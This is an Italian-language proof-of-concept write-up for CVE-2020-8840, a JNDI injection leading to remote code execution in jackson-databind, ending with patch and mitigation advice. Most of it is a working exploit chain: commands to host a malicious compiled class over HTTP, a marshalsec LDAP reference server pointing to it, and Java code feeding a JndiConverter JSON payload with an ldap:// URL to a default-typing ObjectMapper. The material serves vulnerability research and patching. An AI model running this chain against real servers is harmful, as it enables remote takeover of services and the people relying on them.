
PoC exploit per CVE-2020-8840: iniezione JNDI che porta all'esecuzione remota di codice in FasterXML jackson-databind. Include configurazione dell'ambiente, catena di exploit e guida alla mitigazione.
jackson-databind è una libreria di elaborazione JSON appartenente al gruppo di progetti FasterXML.
Il 19 febbraio, NVD ha pubblicato un avviso di sicurezza che ha rivelato la vulnerabilità di esecuzione remota di codice in jackson-databind causata da un'iniezione JNDI (CVE-2020-8840), con un punteggio CVSS di 9.8. Nelle versioni interessate di jackson-databind, a causa della mancanza di alcune classi nella blacklist xbean-reflect/JNDI, come org.apache.xbean.propertyeditor.JndiConverter, un attaccante può ottenere l'esecuzione remota di codice tramite iniezione JNDI; se l'attacco ha successo, è possibile ottenere il controllo del server (a livello di servizio Web).
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

1、Inserire la classe dannosa già compilata nella directory del server web
In questo caso viene utilizzato simplehttp per configurare il servizio web
python -m SimpleHTTPServer 8080

2、Avviare il servizio LDAP In questo caso viene utilizzato marshalsec. Link GitHub: https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

3、Creare un progetto Java e importare il file JAR della versione vulnerabile

poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

1、Aggiornare jackson-databind alle versioni 2.9.10.3, 2.8.11.5, 2.10.x 2、Verificare se nel progetto viene utilizzato xbean-reflect. La causa principale di questa vulnerabilità è che in xbean-reflect esiste una particolare catena di sfruttamento che consente all'utente di attivare il caricamento remoto di classi tramite JNDI. La rimozione di xbean-reflect può mitigare l'impatto della vulnerabilità.